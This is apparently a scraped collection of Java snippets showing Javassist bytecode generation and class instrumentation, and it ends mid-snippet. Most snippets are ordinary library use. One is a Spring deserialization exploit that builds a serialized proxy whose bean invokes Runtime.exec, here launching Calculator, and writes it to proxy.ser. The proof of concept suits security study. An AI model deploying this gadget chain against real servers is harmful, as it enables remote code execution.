/**
   * Similar to main method but is not static
   *
   * @param args command line parameters
   * @throws Exception if something fails during the execution
   */
  public void doIt2(String[] args) throws Exception {

    // Se carga la clase para la que se quiere modificar sus bytecodes
    ClassPool pool = ClassPool.getDefault();
    CtClass cc = pool.get("com.jzb.ja.Clase1");

    // Se puede iterar imprimiendo los metodos, y su signatura, contenidos en la clase
    for (CtMethod mm : cc.getMethods()) {
      System.out.println(mm.getName() + " " + mm.getMethodInfo().getDescriptor());
    }

    // Se puede buscar un metodo en concreto...
    CtMethod mr = cc.getMethod("diHola", "(Ljava/lang/String;)Ljava/lang/String;");
    // ... Borrarlo...
    cc.removeMethod(mr);
    // .. Y volver a escribir su .class moficado en una carpeta raiz
    cc.writeFile("c:\\tmp");

    // Posteriormente, tanto por este codigo de creación dinamica, o porque se usa
    // el fichero .class generado antes, se obtiene un error de "Metodo No Existe"
    Class c1 = cc.toClass();
    Clase1 o1 = (Clase1) c1.newInstance();
    System.out.println(o1.sumaUno(2));
    System.out.println(o1.diHola("Pepe"));
  }
  private static TemplateRenderer tryToCompile(String source, Map<String, String> expressions)
      throws NotFoundException, CannotCompileException, InstantiationException,
          IllegalAccessException {

    ClassPool cp = ClassPool.getDefault();
    CtClass sup = cp.get(Object.class.getCanonicalName());
    CtClass cls = cp.makeClass("RapidoidTemplate" + ID_GEN.incrementAndGet(), sup);

    cls.addInterface(cp.get(TemplateRenderer.class.getCanonicalName()));
    cls.addConstructor(CtNewConstructor.defaultConstructor(cls));

    for (Map.Entry<String, String> expr : expressions.entrySet()) {
      String fld =
          "private static final org.rapidoid.render.retriever.ValueRetriever %s = org.rapidoid.render.retriever.Retriever.of(%s);";

      String retrieverId = retrieverId(expr.getKey());
      String prop = expr.getValue();

      String field = U.frmt(fld, retrieverId, prop);

      cls.addField(CtField.make(field, cls));
    }

    CtClass[] params = {cp.get(RenderCtx.class.getCanonicalName())};
    CtClass clsVoid = cp.get(void.class.getCanonicalName());
    cls.addMethod(
        CtNewMethod.make(Modifier.PUBLIC, clsVoid, "render", params, new CtClass[0], source, cls));

    return (TemplateRenderer) cls.toClass().newInstance();
  }
  // this GwtCreateHandler has been introduced to make possible the
  // instanciation of abstract classes
  // that gwt-test-utils doesn't patch right now
  public Object create(Class<?> classLiteral) throws Exception {
    if (classLiteral.isAnnotation()
        || classLiteral.isArray()
        || classLiteral.isEnum()
        || classLiteral.isInterface()
        || !Modifier.isAbstract(classLiteral.getModifiers())) {
      return null;
    }

    Class<?> newClass = cache.get(classLiteral);

    if (newClass != null) {
      return newClass.newInstance();
    }

    CtClass ctClass = GwtClassPool.getCtClass(classLiteral);
    CtClass subClass = GwtClassPool.get().makeClass(classLiteral.getCanonicalName() + "SubClass");

    subClass.setSuperclass(ctClass);

    for (CtMethod m : ctClass.getDeclaredMethods()) {
      if (javassist.Modifier.isAbstract(m.getModifiers())) {
        CtMethod copy = new CtMethod(m, subClass, null);
        subClass.addMethod(copy);
      }
    }

    GwtPatcherUtils.patch(subClass, null);

    newClass = subClass.toClass(GwtClassLoader.get(), null);
    cache.put(classLiteral, newClass);

    return newClass.newInstance();
  }
 private <T> T instantiateProxy(
     final CtClass ctClass, final RingBuffer<ProxyMethodInvocation> ringBuffer) {
   try {
     return instantiate(
         ctClass.toClass(),
         new Class[] {RingBuffer.class, DropListener.class, MessagePublicationListener.class},
         ringBuffer,
         dropListener,
         messagePublicationListener);
   } catch (CannotCompileException e) {
     throw new RuntimeException("Unable to compile class", e);
   }
 }
 private Invoker generateInvoker(final CtClass ctClass, final StringBuilder methodSrc) {
   try {
     ctClass.addMethod(CtMethod.make(methodSrc.toString(), ctClass));
     ctClass.addConstructor(CtNewConstructor.defaultConstructor(ctClass));
     final Class generatedClass = ctClass.toClass();
     return (Invoker) generatedClass.newInstance();
   } catch (CannotCompileException e) {
     throw new RuntimeException("Unable to compile generated source: " + methodSrc, e);
   } catch (InstantiationException e) {
     throw new RuntimeException("Unable to compile generated source: " + methodSrc, e);
   } catch (IllegalAccessException e) {
     throw new RuntimeException("Unable to compile generated source: " + methodSrc, e);
   }
 }
 public static void main(String[] args)
     throws NotFoundException, CannotCompileException, IOException {
   ClassPool classPool = ClassPool.getDefault();
   classPool.appendClassPath(new ClassClassPath(JavassistLengthBug.class));
   CtClass dummyClass = classPool.get("net.fwbrasil.activate.entity.Dummy");
   dummyClass.instrument(
       new ExprEditor() {
         public void edit(FieldAccess fa) {
           if (fa.isReader() && fa.getFieldName().equals("length"))
             try {
               fa.replace("$_ = ($r) this.length.substring(1);");
             } catch (CannotCompileException e) {
               e.printStackTrace();
             }
         }
       });
   dummyClass.toClass();
   new Dummy().print();
 }
  public void generateJavaClass() {
    // create a cache
    ClassPool pool = ClassPool.getDefault();

    CtClass ctClass = pool.makeClass("com.linuxclicks.bytecode.generation.TerryJavaAssist");

    CtMethod ctMethod = null;
    try {
      ctMethod =
          CtMethod.make(
              "public void sayHello() {  System.out.println(\"Hello World..from the JavaAssist bytecode generator\"); }",
              ctClass);
      ctClass.addMethod(ctMethod);

      System.out.println("writing generated JavaAssist file to filesystem");
      ctClass.writeFile("./build/java/src/");

      Class javaClass = ctClass.toClass();

      Object terry = javaClass.newInstance();

      Class partypes[] = new Class[0];

      Method terrySayHelloMethod = terry.getClass().getMethod("sayHello", partypes);

      Object arglist[] = new Object[0];

      terrySayHelloMethod.invoke(terry, arglist);

    } catch (CannotCompileException cce) {
      System.out.println("cce ..." + cce);
    } catch (IOException ioe) {
      System.out.println("ioe ..." + ioe);
    } catch (IllegalAccessException iae) {
      System.out.println("iae ..." + iae);
    } catch (InstantiationException ie) {
      System.out.println("ie ..." + ie);
    } catch (NoSuchMethodException nsme) {
      System.out.println("nsme ..." + nsme);
    } catch (InvocationTargetException ite) {
      System.out.println("ite ..." + ite);
    }
  }
  /**
   * Creates a map of concrete json request handler invokers keyed by <b><code>
   * &lt;service-name&gt;/&lt;op-name&gt;</code></b>.
   *
   * @param handlerInstance The request handler instance to generate invokers for
   * @return the map of generated invokers
   */
  public static Map<String, Map<String, AbstractJSONRequestHandlerInvoker>> createInvokers(
      Object handlerInstance) {
    if (handlerInstance == null)
      throw new IllegalArgumentException("The passed handlerInstance was null");
    Map<String, AbstractJSONRequestHandlerInvoker> subInvokerMap =
        new HashMap<String, AbstractJSONRequestHandlerInvoker>();
    Map<String, Map<String, AbstractJSONRequestHandlerInvoker>> invokerMap =
        invokerCache.get(handlerInstance.getClass());
    if (invokerMap != null) {
      LOG.info("Found Cached Invokers for [{}]", handlerInstance.getClass().getName());
      return invokerMap;
    }
    invokerMap = new HashMap<String, Map<String, AbstractJSONRequestHandlerInvoker>>(1);

    LOG.info("Generating Invokers for [{}]", handlerInstance.getClass().getName());
    JSONRequestService svc = handlerInstance.getClass().getAnnotation(JSONRequestService.class);
    final String invokerServiceKey = svc.name();
    final String invokerServiceDescription = svc.description();

    invokerMap.put(invokerServiceKey, subInvokerMap);

    ClassPool cp = new ClassPool();
    cp.appendClassPath(new ClassClassPath(handlerInstance.getClass()));
    cp.appendClassPath(new ClassClassPath(AbstractJSONRequestHandlerInvoker.class));
    cp.importPackage(handlerInstance.getClass().getPackage().getName());
    Set<ClassLoader> classPathsAdded = new HashSet<ClassLoader>();
    Set<String> packagesImported = new HashSet<String>();
    try {
      final CtClass jsonRequestCtClass = cp.get(JSONRequest.class.getName());
      final CtClass parent = cp.get(AbstractJSONRequestHandlerInvoker.class.getName());
      CtClass targetClass = cp.get(handlerInstance.getClass().getName());
      Collection<Method> methods = getTargetMethods(handlerInstance.getClass());
      for (Method m : methods) {
        final JSONRequestHandler jsonHandler = m.getAnnotation(JSONRequestHandler.class);
        final String opName = jsonHandler.name();
        final String opDescription = jsonHandler.description();
        final RequestType opType = jsonHandler.type();

        int targetMethodHashCode = m.toGenericString().hashCode();
        final String className =
            String.format(
                "%s-%s%s-%s-%s",
                handlerInstance.getClass().getName(),
                invokerServiceKey,
                opName,
                "ServiceInvoker",
                targetMethodHashCode);

        final CtClass invokerClass = cp.makeClass(className, parent);
        CtField ctf = new CtField(targetClass, "typedTarget", invokerClass);
        ctf.setModifiers(ctf.getModifiers() | Modifier.FINAL);
        invokerClass.addField(ctf);
        for (CtConstructor parentCtor : parent.getConstructors()) {
          CtConstructor invokerCtor = CtNewConstructor.copy(parentCtor, invokerClass, null);
          invokerCtor.setBody(
              "{ super($$); typedTarget = (" + handlerInstance.getClass().getName() + ")$1; }");
          invokerClass.addConstructor(invokerCtor);
        }
        CtMethod invokerMethod =
            CtNewMethod.copy(
                parent.getDeclaredMethod("doInvoke", new CtClass[] {jsonRequestCtClass}),
                invokerClass,
                null);
        StringBuilder b = new StringBuilder("{this.typedTarget.").append(m.getName()).append("($1");
        final Class<?>[] ptypes = m.getParameterTypes();
        final int remainingParamCount = ptypes.length - 1;
        //				Set<Class<?>> classPathsAdded = new HashSet<Class<?>>();
        //				Set<String> packagesImported = new HashSet<String>();
        if (remainingParamCount > 0) {
          for (int i = 0; i < remainingParamCount; i++) {
            final Class<?> type = ptypes[i + 1];
            if (type.getName().contains("UniqueIdType")) {
              System.err.println("Comin Up....");
            }
            if (type.isPrimitive()) {
              b.append(", (").append(type.getName()).append(") null");
            } else {
              if (classPathsAdded.add(type.getClassLoader())) {
                cp.appendClassPath(new LoaderClassPath(type.getClassLoader()));
              }
              try {
                Package p = type.getPackage();
                if (p == null) {
                  if (type.isArray()) {
                    if (!type.getComponentType().isPrimitive()) {
                      p = type.getComponentType().getPackage();
                    }
                  }
                }
                if (type.isEnum()) {
                  final String f = type.getEnclosingClass().getName() + "." + type.getSimpleName();
                  b.append(", (").append(f).append(") null");
                  String pack = type.getEnclosingClass().getPackage().getName();
                  if (packagesImported.add(pack)) {
                    cp.importPackage(pack);
                  }
                  continue;
                }

                if (p != null) {
                  if (packagesImported.add(p.getName())) {
                    cp.importPackage(p.getName());
                  }
                }
              } catch (Exception ex) {
                ex.printStackTrace(System.err);
              }
              b.append(", (").append(type.getSimpleName()).append(") null");
            }
          }
        }

        b.append(");}");
        System.out.println("[" + m.getName() + "]: [" + b.toString() + "]");
        // invokerMethod.setBody("{this.typedTarget." + m.getName() + "($1);}");
        invokerMethod.setBody(b.toString());
        invokerMethod.setModifiers(invokerMethod.getModifiers() & ~Modifier.ABSTRACT);
        invokerClass.addMethod(invokerMethod);
        // invokerClass.writeFile(System.getProperty("java.io.tmpdir") + File.separator +
        // "jsoninvokers");
        Class<?> clazz =
            invokerClass.toClass(
                handlerInstance.getClass().getClassLoader(),
                handlerInstance.getClass().getProtectionDomain());
        Constructor<?> ctor =
            clazz.getDeclaredConstructor(
                Object.class,
                String.class,
                String.class,
                String.class,
                String.class,
                RequestType.class);
        AbstractJSONRequestHandlerInvoker invokerInstance =
            (AbstractJSONRequestHandlerInvoker)
                ctor.newInstance(
                    handlerInstance,
                    invokerServiceKey,
                    invokerServiceDescription,
                    opName,
                    opDescription,
                    opType);
        subInvokerMap.put(opName, invokerInstance);
      }
      invokerCache.put(handlerInstance.getClass(), invokerMap);
      return invokerMap;
    } catch (Exception ex) {
      LOG.error(
          "Failed to create RequestHandlerInvoker for [{}]",
          handlerInstance.getClass().getName(),
          ex);
      throw new RuntimeException(
          "Failed to create RequestHandlerInvoker [" + handlerInstance.getClass().getName() + "]",
          ex);
    }
  }
Beispiel #9
0
  public void start(String[] argv) {
    try {
      annotatedWalker = pool.makeClass("GATKSWalker" + System.currentTimeMillis());
      annotatedWalker.setSuperclass(pool.get(originalWalker.getClass().getName()));

      List<String> args = new ArrayList<String>();
      for (String s : argv) args.add(s);

      args.add("-T");
      args.add(originalWalker.getClass().getName());

      if (config.containsKey("bam")) {
        Object bamOrBams = config.get("bam");
        addBamArgs(args, bamOrBams);
      }

      if (config.containsKey("vcf")) {
        addVCFArg(args, config.get("vcf"));
      }

      if (config.containsKey("out")) {
        addOutputArg(args, config.get("out"));
      }

      if (config.containsKey("bed")) {
        args.add("-L");
        args.add((String) config.get("bed"));

        // When the original input arguments contained a region we don't want to
        // UNION the region with our VCF file, because the user is expecting it to
        // constrain the walked region.  Therefore as long as they didn't add
        // an instruction for how to combine the region themselves,
        // we add an interval-set-rule of INTERSECTION ourself
        if (hasRegion && !hasISR) {
          args.add("-isr");
          args.add("INTERSECTION");
        }
      }

      System.out.println("Running with arguments " + StringUtils.join(args, " "));

      GATKSWalker realizedWalker = (GATKSWalker) annotatedWalker.toClass().newInstance();
      realizedWalker.setMapBody(originalWalker.getMapBody());

      for (String name : this.injections.keySet()) {
        for (Closure c : this.injections.get(name)) {
          realizedWalker.inject(name, c);
        }
      }

      this.engine = new GATKSEngine((Walker) realizedWalker);

      start(this, args.toArray(new String[args.size()]));

      if (CommandLineProgram.result != 0) System.exit(CommandLineProgram.result);
    } catch (UserException e) {
      exitSystemWithUserError(e);
    } catch (TribbleException e) {
      exitSystemWithUserError(e);
    } catch (PicardException e) {
      exitSystemWithError(e);
    } catch (SAMException e) {
      exitSystemWithSamError(e);
    } catch (Throwable t) {
      exitSystemWithError(t);
    }
  }
 @Test(expected = Test.None.class)
 public void testSelfReferencingField() throws Exception {
   CtClass mock = new WicketMockClassFactory(SelfReferencingContainer.class).getMock();
   if (selfReflectingContainerMockClass == null) selfReflectingContainerMockClass = mock.toClass();
   selfReflectingContainerMockClass.newInstance();
 }
  public DirectoryTestReader(Class<?> clazz) {
    CsvDirectory csvDirectoryAnnotation = ReflectionUtils.getAnnotation(clazz, CsvDirectory.class);
    if (csvDirectoryAnnotation == null) {
      throw new RuntimeException(
          "Missing annotation \'@CsvDirectory\' on class [" + clazz.getCanonicalName() + "]");
    }
    csvDirectory = csvDirectoryAnnotation.value();
    csvShortName = csvDirectory.substring(csvDirectory.lastIndexOf('/') + 1);
    CsvMacros csvMacrosAnnotation = ReflectionUtils.getAnnotation(clazz, CsvMacros.class);
    if (csvMacrosAnnotation == null) {
      throw new RuntimeException(
          "Missing annotation \'@CsvMacros\' on class [" + clazz.getCanonicalName() + "]");
    }
    this.csvMacros = new ArrayList<String>();
    for (String s : csvMacrosAnnotation.value()) {
      csvMacros.add(s);
    }
    File directory = new File(this.csvDirectory);
    if (!directory.exists()) {
      throw new RuntimeException("Firectory [" + this.csvDirectory + "] does not exist");
    }

    testMethods = new ArrayList<Method>();

    try {
      tests = new HashMap<String, List<List<String>>>();
      macroFiles = new HashMap<String, List<List<String>>>();
      for (File f : directory.listFiles()) {
        if (f.getName().endsWith(".csv")) {
          String s = f.getName();
          s = s.substring(0, s.length() - 4);
          FileReader reader = new FileReader(f);
          List<List<String>> sheet = CsvReader.readCsv(reader);
          if (csvMacros.contains(s)) {
            macroFiles.put(s, sheet);
          } else {
            tests.put(s, sheet);
          }
        }
      }

      ClassPool cp = ClassPool.getDefault();
      CtClass newClazz =
          cp.makeClass(clazz.getCanonicalName() + ".generated" + System.currentTimeMillis());
      newClazz.setSuperclass(cp.get(clazz.getCanonicalName()));
      List<String> methodList = new ArrayList<String>();
      for (Entry<String, List<List<String>>> entry : tests.entrySet()) {
        String methodName = "run_" + csvShortName + "_" + entry.getKey();
        CtMethod m = new CtMethod(CtClass.voidType, methodName, new CtClass[0], newClazz);
        methodList.add(methodName);
        m.setBody("launchTest(\"" + entry.getKey() + "\");");
        newClazz.addMethod(m);
      }
      generatedClazz = newClazz.toClass();
      for (String methodName : methodList) {
        Method m = generatedClazz.getMethod(methodName);
        testMethods.add(m);
      }
    } catch (Exception e) {
      throw new RuntimeException(e);
    }
  }
  public static void main(String[] arguments) {

    // Get a DefaultListableBeanFactory modified so it has no writeReplace() method
    // We cannot load DefaultListableFactory till we are done modyfing it otherwise will get a
    // "attempted duplicate class definition for name" exception
    System.out.println(
        "[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method");
    Object instrumentedFactory = null;
    ClassPool pool = ClassPool.getDefault();
    try {
      pool.appendClassPath(new javassist.LoaderClassPath(BeanDefinition.class.getClassLoader()));
      CtClass instrumentedClass =
          pool.get("org.springframework.beans.factory.support.DefaultListableBeanFactory");
      // Call setSerialVersionUID before modifying a class to maintain serialization compatability.
      SerialVersionUID.setSerialVersionUID(instrumentedClass);
      CtMethod method = instrumentedClass.getDeclaredMethod("writeReplace");
      // method.insertBefore("{ System.out.println(\"TESTING\"); }");
      method.setName("writeReplaceDisabled");
      Class instrumentedFactoryClass = instrumentedClass.toClass();
      instrumentedFactory = instrumentedFactoryClass.newInstance();
    } catch (Exception e) {
      e.printStackTrace();
    }
    // Modified BeanFactory
    DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) instrumentedFactory;

    // Create malicious bean definition programatically
    System.out.println("[+] Creating malicious bean definition programatically");

    // First we will set up a bean created with a factory method (instead of using the constructor)
    // that will return a java.lang.Runtime
    // Runtime or ProcessBuilder are not serializable so we cannot use them for the
    // MethodInvokingFactory targetObject, but we can use a bean definition instead that wraps
    // these objects as the server will instantiate them
    GenericBeanDefinition runtime = new GenericBeanDefinition();
    runtime.setBeanClass(Runtime.class);
    runtime.setFactoryMethodName("getRuntime"); // Factory Method needs to be static

    // Exploit bean to be registered in the bean factory as the target source
    GenericBeanDefinition payload = new GenericBeanDefinition();
    // use MethodInvokingFactoryBean instead of factorymethod because we need to pass arguments,
    // and can't do that with the unserializable ConstructorArgumentValues
    payload.setBeanClass(MethodInvokingFactoryBean.class);
    payload.setScope("prototype");
    payload.getPropertyValues().add("targetObject", runtime);
    payload.getPropertyValues().add("targetMethod", "exec");
    payload
        .getPropertyValues()
        .add(
            "arguments",
            Collections.singletonList("/Applications/Calculator.app/Contents/MacOS/Calculator"));

    beanFactory.registerBeanDefinition("exploit", payload);

    // Preparing BeanFactory to be serialized
    System.out.println("[+] Preparing BeanFactory to be serialized");
    System.out.println("[+] Nullifying non-serializable members");
    try {

      Field constructorArgumentValues =
          AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
      constructorArgumentValues.setAccessible(true);
      constructorArgumentValues.set(payload, null);
      System.out.println(
          "[+] payload BeanDefinition constructorArgumentValues property should be null: "
              + payload.getConstructorArgumentValues());

      Field methodOverrides = AbstractBeanDefinition.class.getDeclaredField("methodOverrides");
      methodOverrides.setAccessible(true);
      methodOverrides.set(payload, null);
      System.out.println(
          "[+] payload BeanDefinition methodOverrides property should be null: "
              + payload.getMethodOverrides());

      Field constructorArgumentValues2 =
          AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
      constructorArgumentValues2.setAccessible(true);
      constructorArgumentValues2.set(runtime, null);
      System.out.println(
          "[+] runtime BeanDefinition constructorArgumentValues property should be null: "
              + runtime.getConstructorArgumentValues());

      Field methodOverrides2 = AbstractBeanDefinition.class.getDeclaredField("methodOverrides");
      methodOverrides2.setAccessible(true);
      methodOverrides2.set(runtime, null);
      System.out.println(
          "[+] runtime BeanDefinition methodOverrides property should be null: "
              + runtime.getMethodOverrides());

      Field autowireCandidateResolver =
          DefaultListableBeanFactory.class.getDeclaredField("autowireCandidateResolver");
      autowireCandidateResolver.setAccessible(true);
      autowireCandidateResolver.set(beanFactory, null);
      System.out.println(
          "[+] BeanFactory autowireCandidateResolver property should be null: "
              + beanFactory.getAutowireCandidateResolver());

    } catch (Exception i) {
      i.printStackTrace();
      System.exit(-1);
    }

    // AbstractBeanFactoryBasedTargetSource
    System.out.println(
        "[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory");
    SimpleBeanTargetSource targetSource = new SimpleBeanTargetSource();
    targetSource.setTargetBeanName("exploit");
    targetSource.setBeanFactory(beanFactory);

    // JdkDynamicAopProxy (invocationhandler)
    System.out.println(
        "[+] Creating the handler and configuring the target source pointing to our malicious bean factory");
    AdvisedSupport config = new AdvisedSupport();
    config.addInterface(Contact.class); // So that the factory returns a JDK dynamic proxy
    config.setTargetSource(targetSource);
    DefaultAopProxyFactory handlerFactory = new DefaultAopProxyFactory();
    InvocationHandler handler = (InvocationHandler) handlerFactory.createAopProxy(config);

    // Proxy
    System.out.println(
        "[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler");
    Contact proxy =
        (Contact)
            Proxy.newProxyInstance(
                Contact.class.getClassLoader(), new Class<?>[] {Contact.class}, handler);

    // System.out.println("[+] Trying exploit locally " + proxy.getName());

    // Now lets serialize the proxy
    System.out.println("[+] Serializating malicious proxy");
    try {
      FileOutputStream fileOut = new FileOutputStream("proxy.ser");
      ObjectOutputStream outStream = new ObjectOutputStream(fileOut);
      outStream.writeObject(proxy);
      outStream.close();
      fileOut.close();
    } catch (IOException i) {
      i.printStackTrace();
    }
    System.out.println("[+] Successfully serialized: " + proxy.getClass().getName());
  }
Beispiel #13
0
  public ClazzInfo classProcessing(String clazzName)
      throws NotFoundException, CannotCompileException {
    ClassPool classPool = ClassPool.getDefault();
    CtClass cz = classPool.get(clazzName);
    classPool.importPackage(clazzName); // 继承
    classPool.importPackage("java.lang.reflect.Method"); // 添加反射引用

    CtClass newClass = classPool.makeClass(clazzName + "$MC_IMPL"); // 新建代理类
    newClass.setSuperclass(cz); // 继承

    // 构造块
    CtConstructor tempC;
    CtConstructor[] ctConstructors = cz.getDeclaredConstructors();
    newClass.addConstructor(CtNewConstructor.defaultConstructor(newClass));
    for (CtConstructor c : ctConstructors) {
      try {
        tempC = CtNewConstructor.copy(c, newClass, null);
        tempC.setBody("{super($$);}");
        newClass.addConstructor(tempC);
      } catch (Exception e) {
        // e.printStackTrace();
      }
    }

    // 字段块
    //		CtField[] ctFields = cz.getDeclaredFields();
    //		for (CtField f : ctFields)
    //			System.out.println(f.getFieldInfo().getConstantValue());

    // 方法块
    CtMethod[] ctMethods = cz.getDeclaredMethods();
    CtMethod tempM; // 复制方法名
    Map<String, Method> tempMethod = new HashMap<String, Method>();
    for (CtMethod m : ctMethods) {
      tempMethod.put(
          String.format(
              "%s %s %s(%s);",
              Modifier.toString(m.getModifiers()),
              m.getReturnType().getName(),
              m.getName(),
              Util.getParameterTypes(m.getParameterTypes())),
          null);
      // System.err.println(String.format("%s %s %s(%s);", Modifier.toString(m.getModifiers()),
      // m.getReturnType().getName(), m.getName(), Util.getParameterTypes(m.getParameterTypes())));
      tempM = CtNewMethod.copy(m, newClass, null);
      if ("void".equals(tempM.getReturnType().getName()))
        tempM.setBody("{super." + tempM.getName() + "($$);}");
      else tempM.setBody("{ return super." + tempM.getName() + "($$);}");
      //				CtNewMethod.make(src, declaring, delegateObj, delegateMethod)
      // 方法修改
      //			if (m.getName().equals("x")) {
      //				//tempM.setBody("{$proceed($$);}", "this", "mba");
      //				//tempM.setBody("{n nn = new n();" + "Method a = n.class.getDeclaredMethod(\"a\", new
      // Class[] { Integer.TYPE });" + "a.invoke(nn, new Object[] { Integer.valueOf(1) });}");
      //				tempM.setBody("{Method a = n.class.getDeclaredMethod(\"axx\", new Class[] { Integer.TYPE
      // });}");
      //			}
      newClass.addMethod(tempM);
    }

    // 测试输出
    try {
      newClass.writeFile("D:/Desktop");
    } catch (IOException e) {
      e.printStackTrace();
    }

    //		Class clazz = newClass.toClass();
    //		System.out.println(clazz.getCanonicalName());
    //		DefaultCachePoolFactory.newInstance().addNFloop4Map(new ClazzInfo(clazz, tempMethod),
    // DefaultPool.NORNAL_BEAN, clazz.getCanonicalName());
    //		return clazz;
    return new ClazzInfo(newClass.toClass(), tempMethod);
  }
  private static CtClass makeExpressionClass(
      Source.Staged staged, String superClassName, String memberClassName) {
    // Here we make the language class accessible!
    if (!Modifier.isPublic(staged.getLanguage().getModifiers())) {
      staged.getLanguage().setModifiers(Modifier.setPublic(staged.getLanguage().getModifiers()));
    }

    CtClass clazz;
    try {
      ClassPool cp = ClassPool.getDefault();

      CtClass superClass = cp.getCtClass(superClassName);
      clazz =
          cp.makeClass(
              superClass.getName()
                  + "$Generated"
                  + id
                  + "$"
                  + staged.getMember().getDeclaringClass().getName().replace(".", "_")
                  + "$"
                  + staged.getMember().getName().replace(".", "_"),
              superClass);
      id++;

      // Make accepted language static fields
      HashMap<CtClass, String> acceptedLanguageMap = new HashMap<>();
      for (Use.Argument a : staged.getArguments()) {
        for (CtClass l : a.getAcceptedLanguages()) {
          if (!acceptedLanguageMap.containsKey(l) && !l.equals(Util.LANGUAGE_CLASS)) {
            String lName = "acceptedLanguage" + acceptedLanguageMap.size();
            int lPersistentId = Dispatcher.addPersistent(l);
            CtField lField =
                CtField.make(
                    "private static final "
                        + CtClass.class.getName()
                        + " "
                        + lName
                        + " = ("
                        + CtClass.class.getName()
                        + ") "
                        + Util.DISPATCHER_CLASS.getName()
                        + ".removePersistent("
                        + lPersistentId
                        + ");",
                    clazz);
            clazz.addField(lField);

            acceptedLanguageMap.put(l, lName);
          }
        }
      }

      // Make language field
      String languageName = "language";
      int languagePersistentId = Dispatcher.addPersistent(staged.getLanguage());
      CtField languageField =
          CtField.make(
              "private static final "
                  + CtClass.class.getName()
                  + " "
                  + languageName
                  + " = ("
                  + CtClass.class.getName()
                  + ") "
                  + Util.DISPATCHER_CLASS.getName()
                  + ".removePersistent("
                  + languagePersistentId
                  + ");",
              clazz);
      clazz.addField(languageField);

      // Make member field
      String memberName = "member";
      int memberPersistentId = Dispatcher.addPersistent(staged.getMember());
      CtField memberField =
          CtField.make(
              "private static final "
                  + memberClassName
                  + " "
                  + memberName
                  + " = ("
                  + memberClassName
                  + ")"
                  + Util.DISPATCHER_CLASS.getName()
                  + ".removePersistent("
                  + memberPersistentId
                  + ");",
              clazz);
      clazz.addField(memberField);

      // Make constructor
      String constructorSource =
          "private constructor("
              + Util.EXPRESSION_CLASS.getName()
              + "[] arguments, "
              + Util.STATIC_INFO_CLASS.getName()
              + " staticInfo, "
              + Util.CLOSURE_HOLDER_CLASS.getName()
              + " closureHolder) {\n"
              + "    super(arguments, staticInfo, closureHolder);\n"
              + "}";
      CtConstructor constructor = CtNewConstructor.make(constructorSource, clazz);
      clazz.addConstructor(constructor);

      // Make factory-like invoke methods
      ImmutableList<Use.Argument> args = staged.getArguments();
      StringBuilder invokeSource = new StringBuilder();
      if (staged.isStrict() || Util.isCarrier(staged.getType())) {
        invokeSource.append(
            "public static " + staged.getType().getCtClass().getName() + " invoke(");
      } else if (staged.getType().isReference()) {
        invokeSource.append("public static " + Util.LOCAL_CARRIER_CLASS.getName() + " invoke(");
      } else {
        invokeSource.append("public static " + clazz.getName() + " invoke(");
      }

      if (staged.getArguments().size() > 253) {
        invokeSource.append("Object[] objectArguments, ");
        if (!staged.getStaticInfoElements().isEmpty()) {
          invokeSource.append(Util.STATIC_INFO_CLASS.getName() + " staticInfo, ");
        }
        invokeSource.append(Util.CLOSURE_HOLDER_CLASS.getName() + " closureHolder) {\n");
        for (int i = 0; i < args.size(); i++) {
          if (Util.isGlobalCarrier(args.get(i).getType())) {
            invokeSource
                .append("    ")
                .append(Util.GLOBAL_CARRIER_CLASS.getName())
                .append(" argument")
                .append(i)
                .append(" = (")
                .append(Util.GLOBAL_CARRIER_CLASS.getName())
                .append(") objectArguments[")
                .append(i)
                .append("];\n");
          } else if (Util.isLocalCarrier(args.get(i).getType())
              || (args.get(i).getType().isReference()
                  && !Util.couldBeGlobalCarrier(args.get(i).getType()))) {
            invokeSource
                .append("    ")
                .append(Util.LOCAL_CARRIER_CLASS.getName())
                .append(" argument")
                .append(i)
                .append(" = (")
                .append(Util.LOCAL_CARRIER_CLASS.getName())
                .append(") objectArguments[")
                .append(i)
                .append("];\n");
          } else if (args.get(i).getType().isReference()) {
            invokeSource
                .append("    ")
                .append(Type.OBJECT.getCtClass().getName())
                .append(" argument")
                .append(i)
                .append(" = objectArguments[")
                .append(i)
                .append("];\n");
          } else {
            invokeSource
                .append("    ")
                .append(Util.EXPRESSION_CLASS.getName())
                .append(" argument")
                .append(i)
                .append(" = (")
                .append(Util.EXPRESSION_CLASS.getName())
                .append(") objectArguments[")
                .append(i)
                .append("];\n");
          }
        }
      } else {
        for (int i = 0; i < args.size(); i++) {
          if (Util.isGlobalCarrier(args.get(i).getType())) {
            invokeSource.append(Util.GLOBAL_CARRIER_CLASS.getName()).append(" argument").append(i);
          } else if (Util.isLocalCarrier(args.get(i).getType())
              || (args.get(i).getType().isReference()
                  && !Util.couldBeGlobalCarrier(args.get(i).getType()))) {
            invokeSource.append(Util.LOCAL_CARRIER_CLASS.getName()).append(" argument").append(i);
          } else if (args.get(i).getType().isReference()) {
            invokeSource.append(Type.OBJECT.getCtClass().getName()).append(" argument").append(i);
          } else {
            invokeSource.append(Util.EXPRESSION_CLASS.getName()).append(" argument").append(i);
          }
          invokeSource.append(", ");
        }

        if (!staged.getStaticInfoElements().isEmpty()) {
          invokeSource.append(Util.STATIC_INFO_CLASS.getName() + " staticInfo, ");
        }
        invokeSource.append(Util.CLOSURE_HOLDER_CLASS.getName() + " closureHolder) {\n");
      }

      invokeSource.append(
          "    "
              + Util.EXPRESSION_CLASS.getName()
              + " payload;\n"
              + "    "
              + Util.EXPRESSION_CLASS.getName()
              + "[] arguments = new "
              + Util.EXPRESSION_CLASS.getName()
              + "["
              + args.size()
              + "];\n");
      for (int i = 0; i < args.size(); i++) {
        if (Util.isGlobalCarrier(args.get(i).getType())) {
          invokeSource.append(
              "    payload = "
                  + Util.DISPATCHER_CLASS.getName()
                  + ".unloadGlobalCarrierChecked(argument"
                  + i
                  + ");\n"
                  + "    if (!("
                  + generateLanguageAcceptCheck(
                      "payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap)
                  + ")) {\n"
                  + "        arguments["
                  + i
                  + "] = "
                  + Util.DISPATCHER_CLASS.getName()
                  + ".selfLiftGlobalCarrier(argument"
                  + i
                  + ");\n"
                  + "    } else {\n"
                  + "        arguments["
                  + i
                  + "] = payload;\n"
                  + "    }\n");
        } else if (Util.isLocalCarrier(args.get(i).getType())
